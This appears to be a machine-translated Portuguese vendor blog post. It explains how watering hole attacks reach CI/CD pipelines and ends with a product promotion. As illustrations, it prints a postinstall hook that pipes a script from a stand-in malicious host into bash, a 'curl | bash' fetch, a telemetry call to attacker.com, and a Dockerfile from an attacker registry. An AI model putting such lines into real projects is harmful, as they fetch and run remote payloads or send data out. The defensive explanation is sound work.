ataques de watering hole - o que é um ataque de watering hole

Do desenvolvedor ao alvo: como os ataques de watering hole se infiltram em seu Pipeline

A construção que construiu o Backdoor

Uma compilação é aprovada. Um serviço é implantado. Tudo parece limpo. Mas, escondida dentro dela, há uma dependência envenenada, extraída de uma fonte comprometida. Esse é um clássico ataque de watering hole.

Neste cenário, o invasor não invadiu sua infraestrutura. Ele esperou que um desenvolvedor visitasse um recurso confiável, um site de documentação, um repositório de pacotes ou uma página de download de SDK, que ele já havia comprometido. O código malicioso entrou em sua infraestrutura. pipeline com um simples comando pull ou install.

Uma vez lançado, o invasor tem uma posição silenciosa na produção. E seu CI/CD pipeline apenas os ajudou a chegar lá.

O que é um ataque Watering Hole (e por que os desenvolvedores devem se importar)

Então, o que é um ataque de watering hole? É quando um invasor compromete um recurso em que desenvolvedores ou equipes já confiam. Em vez de atacar você diretamente, ele corrompe um site ou repositório comum que você provavelmente usará e espera que alguém morda a isca.

Ataques de watering hole são diferentes de phishing, que geralmente visam credenciais, e de ataques à cadeia de suprimentos upstream, que injetam código malicioso no repositório principal de um pacote. Aqui, a ameaça vem do ecossistema ao seu redor: documentos que adicionam backdoors, binários de SDK trocados por trojans ou registros de pacotes que servem versões alteradas.

E os recursos de desenvolvimento são os principais alvos: gerenciadores de pacotes (npm, pip, Maven), repositórios públicos do GitHub, imagens oficiais do Docker e páginas de download. Se algum deles estiver comprometido, o invasor já está dentro do seu fluxo de desenvolvimento.

Onde a armadilha é plantada: exemplos reais de desenvolvimento focados em Ataques de Watering Hole

Ataques de watering hole assumem diversas formas. Aqui estão algumas maneiras pelas quais eles passam despercebidos pelos desenvolvedores:

  • Site de documentos comprometido:
    importar { init } de 'malicious-lib';

init({ telemetria: 'https://attacker.com' });
Um exemplo legítimo mudou sutilmente na documentação. Desenvolvedores copiam, colam e seguem em frente.

  • Script malicioso de pós-instalação em relações públicas:
{
  "scripts": {
    "postinstall": "curl -s https://malicious.site/agent.sh | bash"
  }
}

Parece um RP útil, mas instala malware silenciosamente.

  • Binário SDK trojanizado:
    ./sdk-install.sh # Contém carregador de segundo estágio oculto
    O binário é baixado de uma URL aparentemente confiável, mas é alterado.
  • Imagem base do Docker manipulada:
    DO nó:slim-malicious
  • EXECUTAR bash /tmp/instalador-oculto.sh
    O nome da imagem parece correto, mas está hospedado em um registro sequestrado ou falsificado.

Todos esses ataques de watering hole dependem da confiança do desenvolvedor e de fluxos de trabalho rápidos para evitar a detecção.

Do laptop para Pipeline:Como a infecção se espalha

Um ataque de watering hole não para no navegador. Uma vez que o código malicioso entra em um ambiente local, ele pode viajar silenciosamente por toda a sua cadeia de entrega:

  1. O desenvolvedor visita um recurso comprometido (documentação, repositório, site SDK).
  2. Código malicioso chega ao ambiente de desenvolvimento local.
  3. Arquivos infectados ou dependências são adicionados a um commit e empurrou.
  4. CI/CD os trabalhos executam etapas de construção e instalação usando esses componentes comprometidos.
  5. O artefato é enviado e implantado, incorporando o código do invasor na produção.

Essa cadeia pode se desenrolar em horas, especialmente em equipes de alta velocidade.

Para visualizar isso, imagine um pipeline diagrama que rastreia o caminho da infecção de:

  • Estação de trabalho de desenvolvimento: Editores, terminais, scripts de instalação.
  • Fonte de controle: Commits, PRs, fusões.
  • CI Pipeline: Instalações de dependências, execução de scripts, compilações de imagens.
  • Produção: Liberação de artefatos, implantações e acesso do usuário.

A cada passo, um ataque de watering hole pode passar despercebido sem as proteções certas.

Cenários de Risco Real em CI/CD

Os ataques de watering hole não param apenas nas máquinas de desenvolvimento. Eles alavancam seu pipeline contra você. Os riscos reais incluem:

  • Imagens de base comprometidas:
    A PARTIR DE attacker-registry.io/python:3.10-slim
    Malware oculto adicionado durante a compilação.
  • Obtendo scripts ou ferramentas não fixados:
    curl -s https://pkg.example.com/latest.sh | bash
    “Último” pode mudar a qualquer momento, especialmente se o DNS for sequestrado.
  • Logs de CI infectados (exemplo):
    [+] Instalando ferramentas…

[+] Buscando em https://tools.fakecdn.net/bootstrap.sh

[+] Construção concluída.

À primeira vista, tudo parece bem. Mas a carga útil já está no artefato.

Ataques de watering hole abusam de quanta confiança CI/CD ambientes colocados em fontes externas e scripts.

Quebrando as Ataque de Watering Hole Cadeia: Defesas do lado do desenvolvedor

Para interromper ataques de watering hole precocemente, você precisa aprimorar suas práticas de desenvolvimento. A prevenção de ataques deve começar antes que o código entre em seu CI/CD pipeline:

  • Dependências de pinos: Evite tags flutuantes como mais recente. Use arquivos de bloqueio para garantir compilações determinísticas.
  • Verificar somas de verificação: Valide todos os scripts, binários e pacotes remotos.
  • Use espelhos privados: Espelhe registros de pacotes críticos para evitar exposição a fontes upstream comprometidas.
  • Verificar imagens de base: Use resumos de imagens (@sha256) em vez de tags. Digitalize todas as imagens antes de usar.
  • Execute SCA/SAST pré-fusão: Automatize varreduras no seu fluxo de trabalho de RP para detectar ameaças precocemente.
  • Use o Git hooks: Detecte e bloqueie alterações de alto risco antes que elas cheguem ao controle de versão.
  • Tratar código de terceiros como entrada não confiável:Mesmo bibliotecas amplamente utilizadas podem apresentar riscos ocultos.

A segurança deve ser incorporada aos fluxos de trabalho dos desenvolvedores. Esses hábitos e controles ajudam a bloquear ataques de watering hole antes que eles se agravem.

Lições do Campo

Caso 1: Fluxo de Eventos (npm)

Um mantenedor confiável transferiu o controle de um pacote popular. O novo mantenedor adicionou uma dependência que roubava discretamente dados de carteiras de criptomoedas.

  • Onde falhou: Nenhuma revisão de dependências transitivas.
  • Lição: Use automatizado SCA para rastrear e sinalizar alterações em dependências indiretas.

Caso 2: Codecov Bash Uploader

Um invasor alterou um script bash usado em muitos CIs pipelines. Ele exfiltrou segredos de ambientes de CI.

  • Onde falhou: Nenhuma validação de soma de verificação.
  • Lição: Sempre verifique as ferramentas baixadas antes de executá-las CI/CD.

Ambos foram ataques de watering hole. Ambos poderiam ter sido interrompidos antes.

Prevenção na prática: mentalidade e ferramentas DevSecOps

Evitar ataques de watering hole significa construir uma cultura de desenvolvedor com consciência de segurança:

  • Deslocar a segurança para a esquerda: Treine desenvolvedores para questionar scripts inesperados, alterações de dependências ou etapas de instalação.
  • Automatize SCA/SAST: Usar ferramentas que se integram aos fluxos de trabalho de RP para evitar vulnerabilidades conhecidas e padrões de risco.
  • Use validação de hash em todos os lugares: Qualquer recurso externo deve ser verificado antes da execução.
  • Monitorar em tempo real:A prevenção por si só não é suficiente.

Ferramentas como Xygeni Ofereça visibilidade em tempo real em toda a sua cadeia de suprimentos de software. O Xygeni monitora continuamente os ambientes de desenvolvimento, a atividade do Git e o CI pipelines e registros de artefatos para detectar:

  • Mudanças de dependência anômalas.
  • Modificações suspeitas em scripts de compilação.
  • Padrões de acesso incomuns a fontes de terceiros.

Com o Xygeni, as equipes podem bloquear ameaças introduzidas por ataques de watering hole antes que se propaguem e rastrear a origem do comprometimento, caso haja algum. Ele foi desenvolvido especificamente para sistemas modernos. CI/CD ambientes, com foco em alertas acionáveis e usabilidade que prioriza o desenvolvedor.

Nota Final: Rápido Pipelines, Riscos Mais Rápidos

Agora que você sabe o que é um ataque de watering hole Você sabe que eles não precisam invadir sua infraestrutura diretamente. Eles conseguem isso envenenando as ferramentas e sites em que os desenvolvedores já confiam. A partir daí, o seu CI/CD pipeline pode se tornar o sistema de distribuição do invasor.

O risco real não é apenas o comprometimento, mas a rapidez com que o código malicioso se move pelo seu pipeline.

Integre verificações de segurança ao seu fluxo de desenvolvimento, não como uma reflexão tardia. Porque, uma vez lançado, já é tarde demais.

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
você recebe uma avaliação gratuita de 7 dias da nossa licença Business Edition e pode aproveitar alguns dos recursos avançados da plataforma SecurityScorecard.
Não é necessário cartão de crédito

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni